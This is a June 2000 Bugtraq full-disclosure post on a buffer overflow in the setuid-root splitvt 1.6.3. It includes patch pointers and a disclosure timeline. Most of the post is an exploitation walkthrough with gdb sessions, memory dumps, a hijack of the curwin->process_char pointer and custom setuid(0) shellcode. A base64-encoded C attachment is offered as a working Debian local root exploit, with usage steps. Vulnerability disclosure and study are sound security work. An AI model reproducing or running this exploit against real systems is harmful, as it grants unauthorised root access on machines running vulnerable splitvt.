[15345] in bugtraq

home help back first fref pref prev next nref lref last post

Splitvt exploit

daemon@ATHENA.MIT.EDU (syzop)
Wed Jun 14 20:15:03 2000

Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------DD2B4D62936E4D88B4C4D621"
Message-Id:  <3947DBCB.5E24DC5D@dds.nl>
Date:         Wed, 14 Jun 2000 21:23:55 +0200
Reply-To: syzop <syz@DDS.NL>
From: syzop <syz@DDS.NL>
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.
--------------DD2B4D62936E4D88B4C4D621
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Problem
=======
Splitvt 1.6.3 contains a buffer overflow, if you have installed splitvt suid root (like
Debian/Redhat/etc, btw not slackware) you should upgrade to 1.6.4.


Solution
=======
Debian users:
see http://www.debian.org/security/2000/20000605a

Redhat:
Redhat did respond with a "that package comes from our 'contrib' section, which we do not maintain",
so there isn't a new rpm (yet?), but you could download the source and compile 1.6.4 yourself

Source:
http://www.devolution.com/~slouken/projects/splitvt/

The exploit
=========
The problem is in lock.c in lock_screen:
if (cnt < BUFSIZ-1) *(nextbuf++) = c;
This looks ok, but cnt is never increased :).
nextbuf is set to the buffer where the data should be stored,
1st time it's entered1 (password input), 2nd time it's entered2 (again password to verify), and:
static char entered1[BUFSIZ], entered2[BUFSIZ];
BUFSIZ = 8192.
Ok, let's see what gets overwritten... we start splitvt, ctrl+o, x:
Enter password: blah
Re-enter password: xxxxx<around 13.000 of x's (until we crash)>

Program received signal SIGSEGV, Segmentation fault.
0x400b5786 in getc ()
(gdb) backtrace
#0  0x400b5786 in getc ()
#1  0x804e028 in event_getc (X_event=0xbfffdb0c) at vtmouse.c:194
#2  0x8049d8c in main (argc=1, argv=0xbffffc14) at splitvt.c:387
#3  0x400847e2 in   ()

Don't pay too much attention to the point of the crash,
the only thing we now know is we can't overwrite the return address (or not enough),
that's very logical with a function which is called for every single character.
The backtrace doesn't seem to be interessting, possibly we have overwritten some important var or something :).
We must search for another way to jump to our exploitcode...
Let's see how entered2 and the memory after it looks like:
0x805c940 <entered2>:   0x78787878      0x78787878      0x78787878      0x78787878
0x805c950 <entered2+16>:        0x78787878      0x78787878      0x78787878      0x78787878
0x805c960 <entered2+32>:        0x78787878      0x78787878      0x78787878      0x78787878
-- snip --
0x805e930 <entered2+8176>:      0x78787878      0x78787878      0x78787878      0x78787878
0x805e940 <marked>:     0x78787878      0x78787878      0x78787878      0x78787878
0x805e950 <on+8>:       0x78787878      0x78787878      0x78787878      0x78787878
etc etc, until:
0x805fa00 <next+128>:   0x78787878      0x78787878      0x78787878      0x78787878
0x805fa10 <next+144>:   0x78787878      0x78787878      0x78787878      0x78787878
0x805fa20 <tty_mode+4>: 0x78787878      0x78787878      0x78787878      0x78787878
0x805fa30 <curwin>:     0x78787878      0x78787878      0x78787878      0x78787878
0x805fa40 <physical+12>:        0x78787878      0x40141a78      0x40141b00      0x0805fa58

after further investigation the following vars are overwritten:
marked, oldattr, on, selbuf, master_fd, next, tty_mode, curwin, physical

Let's see...
cut-paste.c:14:static int marked, oldattr;
cut-paste.c:24:int *oldattr;
cut-paste.c:215:static char selbuf[4096];
misc.c:128:int master_fd;
vtmouse.c:163:  static char prefix[8], *next;
misc.c:426:struct termio tty_mode;  /* Save tty mode here */
vt100.c:31:window *curwin;
vt100.c:34:struct physical physical;

Only the last two seem interessting:
typedef struct {
        position cursor;                /* The current position of cursor */
        int rows;                       /* The number of rows in window */
        int cols;                       /* The number of cols in window */
        int row_offset;                 /* The physical offset of upper edge */
        int scr_upper;                  /* Upper limit of scroll region */
        int scr_lower;                  /* Lower limit of scroll region */
        void (*process_char)();         /* Next output processing function */
        enum keystate key_state;                /* For vt100 keypad */
        unsigned char charset[NCHARSETS];       /* Current character set */
        unsigned char textattr;                 /* Current text attributes */
        int esc_param[MAX_PARAMS], *cur_param;  /* Escape parameters */
        int param_idx;                  /* Current index into esc_param */
        int **videomem;                 /* Storage for the virtual screen */
        int *tabstops;                  /* Tabstops in the columns */
        position saved_cursor;          /* Saved cursor position */
        unsigned char saved_textattr;   /* Saved text attributes */
        } window;

struct physical {
        window *subwins[2];     /* The smaller, split sub-windows */
        int rows;               /* The number of rows on the screen */
        int cols;               /* The number of cols on the screen */
};

Hey, that looks nice! curwin->process_char... 'Next output processing function'.
All we have to do is create our own window struct, put the address of our-window-struct
into *curwin and put a pointer in our-window-structure.process_char to the exploit code.
So:
- Program reads curwin
- Program reads process_char of our-window-struct
- Program executes the function.

Let's first see how many characters we exactly need for our overflow, so we aren't going
to overflow unneccesary characters (we don't want to segfault :P).
0x0805fa50 (curwin) - 0x0805c960 (buffer2) = 0x30f0 (12.528)
Nice, so we want curwin to point to the begin of buffer2, 0x0805c960, let's test:
(sleep 45; echo blaaaaaaaaa)
ctrl+o, x, 'enter password' bla,
'enter password again', [0x40](100x) + [0x60 0xc9 0x05 0x08](12.428x).
Program received signal SIGSEGV, Segmentation fault.
0x40404040 in ?? ()
(gdb)
Wow :))

Our exploit will look like:
<window-struct><NOPs><shellcode><pointers-to-window-struct>

I coded the exploit in c, using standard shellcode, then put the exploit output in a file,
ftp'd it to my windows (nobody is perfect :P) box and copy&pasted it using putty.
But every time I tried to paste the 1st line I got 'Program exited normally.',
so there was a special character in the exploit somewhere, after tracing I found out it was 0xFF.
Great, now I've to create my own shellcode :|...

There are 3 0xFF's... after disassembling we see this is because of the call -0x24 back,
the shellcode does a jmp +0x1f and a call -0x24 to find out where the string /bin/sh is located.
This isn't necessary since we know the exact location of the '/bin/sh' string.
After a little change and removed the call, we try again...
Wow we got a shell, but after a 'whoami' we aren't happy anymore.. no root, mmmm.
Ofcourse, we have to do a setuid(0) first...

After finding out how to do a setuid(0) in assembly language and again
coding shellcode we have a new exploit...
sh-2.02# root
             sh-2.02# uid=0(root) gid=1000(syzop) egid=0(root) groups=1000(syzop)
                        sh-2.02#
The terminal is screwed up (just a 'reset' and it's ok), however we got root!

Now test it at the debian binary splitvt (latest version, 1.6.3-4).
First we have to find out the address of the buffer again,
let's see how we could do this...
--[lock.c:50]
                                        if (strcmp(entered1, entered2) == 0) {
                                                sprintf(message,
                                "Screen locked by %s.  Enter password: ",
--
Nice :).
ROOT@P166:/# gdb splitvt
GNU gdb 4.17.m68k.objc.threads.hwwp.fpu.gnat
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) break strcmp
Breakpoint 1 at 0x8048fe4
(gdb) ignore 1 25
Will ignore next 25 crossings of breakpoint 1.
(gdb) run
splitvt is started.. ctrl+x, o, la, li, la, li, la, li etc.. ah, in the end:
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x40080e14 in strcmp ()
(gdb) disassemble strcmp
Dump of assembler code for function strcmp:
0x40080e10 <strcmp>:    pushl  %ebp
0x40080e11 <strcmp+1>:  movl   %esp,%ebp
0x40080e13 <strcmp+3>:  pushl  %esi
0x40080e14 <strcmp+4>:  movl   0x8(%ebp),%esi
0x40080e17 <strcmp+7>:  movl   0xc(%ebp),%edx
0x40080e1a <strcmp+10>: leal   0x0(%esi),%esi
(gdb) break *0x40080e17
Breakpoint 2 at 0x40080e17
(gdb) c
Continuing.

Breakpoint 2, 0x40080e17 in strcmp ()
(gdb) info register esi
     esi:  0x80572e4   134574820

So entered2 is at 0x80572e4.

Working exploit for Debian attached (you have to change it for redhat).

History
======
[01-06] Discovered
[02-05] Working exploit
[03-06] Author, Debian and Redhat contacted
[04-06] Patched
[05-06] New debian packages available and published at site.
[14-06] Mail to bugtraq

Exploit info
=========
You have to paste the stuff exactly, so using your mouse in (normal) console Linux to copy&paste
won't work for several reasons, I've used a windows box with putty/CRT.

Cya

    Syz.

--------------DD2B4D62936E4D88B4C4D621
Content-Type: application/x-unknown-content-type-cfile;
 name="splitexp.c"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="splitexp.c"

LyoNCglMb2NhbCBleHBsb2l0IGZvciBEZWJpYW4gc3BsaXR2dCAxLjYuMy00IC0gYnkgU3l6
b3ANCgkNCglUaGFua3MgdG8gYWxlcGgxIGZvciB3cml0aW5nIHRoZSBhcnRpY2xlIGFib3V0
DQoJYnVmZmVyIG92ZXJmbG93cyBpbiBwaHJhY2sgNDkgOikuDQoNCglHcmVldHo6CVRlcnJv
ciwgU2NvcnBpb24sIF5TdGVhbHRoXiwgSm9ybngsIE11bHRhbmksDQoJCWFuZCBhbGwgb3Ro
ZXIgcHBsIG9mIFRoZV5BbGxpYW5jZSA6KQ0KDQpIb3cgdG8gdXNlIHRoZSBleHBsb2l0DQot
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoxLglVc2U6IC4vc3BsaXRleHAgPmV4cGNvZGUg
dG8gcHV0IHRoZSBleHBsb2l0Y29kZSBpbnRvICdleHBjb2RlJy4NCjIuCVN0YXJ0IHNwbGl0
dnQNCjMuCUVudGVyIHNvbWV0aGluZyBsaWtlICdzbGVlcCA2MDsgZWNobyBsYWxhbGEnDQo0
LglDdHJsK08sIHgsICdFbnRlciBwYXNzd29yZCcgYmxhDQo1LglUaGVuIHNwbGl0dnQgc2F5
cyAnUmUtZW50ZXIgcGFzc3dvcmQnLCB0aGlzIGlzIHRoZSBtb21lbnQNCgl5b3UgaGF2ZSB0
byBmb2xsb3cgdGhlIGluc3RydWN0aW9ucyBpbiAnZXhwY29kZScgdG8gcGFzdGUNCgl0aGUg
ZXhwbG9pdGNvZGUgdG8gc3BsaXR2dCAoZG9uJ3QgcHJlc3MgZW50ZXIsIHNlZSA2KS4NCjYu
CVdhaXQgdW50aWwgdGhlIHNsZWVwIGlzIGRvbmUgKG9yIGtpbGwgJ3NsZWVwJyB5b3Vyc2Vs
ZiBmcm9tDQoJX2Fub3RoZXJfIHRlcm1pbmFsKS4NCjcuCVlvdSBub3cgZ290IGEgcm9vdHNo
ZWxsLA0KCXR5cGUgJ3Jlc2V0JyB0byBnZXQgYSBub3JtYWwgdGVybWluYWwgOikuDQoNCklN
UE9SVEFOVCBOT1RFUyEhDQotLS0tLS0tLS0tLS0tLS0tLS0NCg0KTk9URSAxOglZb3UgaGF2
ZSB0byBwYXN0ZSB0aGUgZGF0YSBleGFjdGx5LCBzbyBqdXN0IGEgcGFzdGUgd2l0aCB0aGUg
bW91c2UNCgl3b24ndCB3b3JrIHNpbmNlIHRoZSBzaGVsbGNvZGUgYWxzbyBjb250YWlucyAw
OCdzIChiYWNrc3BhY2VzKSwNCglTbyB1c2luZyBtb3VzZSBjb3B5JnBhc3RlIGluIG5vcm1h
bCBsaW51eCBjb25zb2xlIG1vZGUgZG9lc24ndCB3b3JrLA0KCUkgdXNlZCB3aW5kb3dzIHdp
dGggJ3B1dHR5Jw0KDQpOT1RFIDI6IElmIHlvdSBmdHAgdGhlIGV4cGxvaXQgY29kZSB0byBh
IHdpbmRvd3MgYm94LCBiZSBzdXJlIHRvIHRyYW5zZmVyDQoJdGhlIGZpbGUgaW4gQVNDSUkg
bW9kZSA6KS4NCg0KKi8NCg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0ZGlv
Lmg+DQoNCiNkZWZpbmUgTk9QCQkweDkwDQoNCi8qDQoJVGhlIHNoZWxsY29kZTogc2V0dWlk
KDApOyBleGVjdmUoIi9iaW4vc2giLE5VTEwpOyBleGl0KDApOy4NCglQb2ludGVyIHRvIC9i
aW4vc2ggaXMgc3RhdGljLCBzbyBmaWxsZWQgd2l0aCAweDkwcyBoZXJlLA0KCXdpbGwgYmUg
Y2hhbmdlZCB0byBhbiBhZGRyZXNzIGF0IHJ1bnRpbWUuDQoqLw0KY2hhciBzaGVsbGNvZGVb
XSA9DQogICAgICAgICJceDMxXHhjMFx4NTBceDg5XHhjM1x4YjBceDE3XHhjZCINCiAgICAg
ICAgIlx4ODBceGJlXHg5MFx4OTBceDkwXHg5MFx4ODlceDc2Ig0KICAgICAgICAiXHgwOFx4
MzFceGMwXHg4OFx4NDZceDA3XHg4OVx4NDYiDQogICAgICAgICJceDBjXHhiMFx4MGJceDg5
XHhmM1x4OGRceDRlXHgwOCINCiAgICAgICAgIlx4OGRceDU2XHgwY1x4Y2RceDgwXHgzMVx4
ZGJceDg5Ig0KICAgICAgICAiXHhkOFx4NDBceGNkXHg4MC9iaW4vc2guIjsNCg0Kdm9pZCBt
YWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgY2hhciAqYnVmZiwgKnB0cjsNCiAg
Y2hhciAqcG9pbnRlcno7DQogIGxvbmcgKmFkZHJfcHRyLCBhZGRyOw0KICBpbnQgaTsNCg0K
ICBsb25nIGFkZHIxPTB4ODA1OTJlNDsJCS8vIHBvaW50ZXIgdG8gdGhlIG1pZGRsZSBvZiBv
dXIgd2luZG93LXN0cnVjdA0KICBsb25nIGFkZHIyOwkJCS8vIHBvaW50ZXIgdG8gcG9zaXRp
b24gYWZ0ZXIgMjUlIG9mIHRoZSBOT1BzDQogIGxvbmcgYWRkcjM7CQkJLy8gcG9pbnRlciB0
byAnL2Jpbi9zaCcgc3RyaW5nDQogDQogIGZwcmludGYoc3RkZXJyLCJTcGxpdHZ0IGV4cGxv
aXQgYnkgU3l6b3BcblxuIik7DQogIGlmIChhcmdjID4gMSkgYWRkcjEgID0gYXRvbChhcmd2
WzFdKTsNCg0KICBhZGRyMj1hZGRyMSszNTA7DQogIGFkZHIzPWFkZHIxKzQ0NDsNCg0KICBp
ZiAoIShidWZmID0gbWFsbG9jKDE1MDApKSkgew0KICAgIHByaW50ZigiQ2FuJ3QgYWxsb2Nh
dGUgbWVtb3J5LlxuIik7DQogICAgZXhpdCgwKTsNCiAgfQ0KDQoNCiAgLy8gc2V0IG9mZnNl
dC10by0vYmluL3NoIGluIHNoZWxsY29kZQ0KICBwdHIgPSBzaGVsbGNvZGUrMTA7DQogIGFk
ZHJfcHRyID0gKGxvbmcgKikgcHRyOw0KICAgICooYWRkcl9wdHIrKykgPSBhZGRyMzsNCg0K
ICAvLyAwLTMwMDogdGhlIHdpbmRvdyBzdHJ1Y3QNCiAgLy8gZmlyc3QgZmlsbGluZyB3aXRo
IDB4NDAncw0KICBwdHIgPSBidWZmOw0KICBhZGRyX3B0ciA9IChsb25nICopIHB0cjsNCiAg
Zm9yIChpID0gMDsgaSA8IDMwMDsgaSs9NCkNCiAgICAqKGFkZHJfcHRyKyspID0gMHg0MDQw
NDA0MDsNCiAgDQogIC8vIHNldCBwb2ludGVyIHRvIGFkZHIyIGluIGN1cndpbi0+cHJvY2Vz
c19jaGFyDQogIHB0ciA9IGJ1ZmYgKyAyODsNCiAgYWRkcl9wdHIgPSAobG9uZyAqKSBwdHI7
DQogICAgKihhZGRyX3B0cisrKSA9IGFkZHIyOwkvLyB0aGlzIGlzIHRoZSBwb2ludGVyIHRv
IGFkZHIyDQogICAgDQogIGZvciAoaSA9IDMwMDsgaSA8IDUyODsgaSsrKQkJLy8gMzAwLUVO
RAlOT1BzDQogICAgYnVmZltpXSA9IE5PUDsNCg0KICAvLyA0MDAtLi4uOglzaGVsbGNvZGUN
CiAgcHRyID0gYnVmZiArIDQwMDsNCiAgZm9yIChpID0gMDsgaSA8IHN0cmxlbihzaGVsbGNv
ZGUpOyBpKyspDQogICAgKihwdHIrKykgPSBzaGVsbGNvZGVbaV07DQoNCiAgYnVmZls1Mjhd
ID0gJ1wwJzsNCg0KICAvLyBDcmVhdGUgdGhlIHBvaW50ZXJzLXRvLWFkZHIxLXN0cmluZy4N
CiAgDQogIHBvaW50ZXJ6PShjaGFyICopbWFsbG9jKDEwMDQpOw0KICBwdHIgPSBwb2ludGVy
ejsNCiAgYWRkcl9wdHIgPSAobG9uZyAqKSBwdHI7DQogIGZvciAoaSA9IDA7IGkgPCAxMDAw
OyBpKz00KQkJLy8gMC0zMDA6CXRoZSB3aW5kb3ctc3RydWN0dXJlDQogICAgKihhZGRyX3B0
cisrKSA9IGFkZHIxOw0KDQogIHBvaW50ZXJ6WzEwMDBdPTA7DQogIHByaW50ZigiUGFzdGUg
dGhpcyAxeDpcbiVzXG5cbkFuZCB0aGlzIDEyeDpcbiVzXG4iLCBidWZmLCBwb2ludGVyeik7
DQp9DQo=
--------------DD2B4D62936E4D88B4C4D621--

home help back first fref pref prev next nref lref last post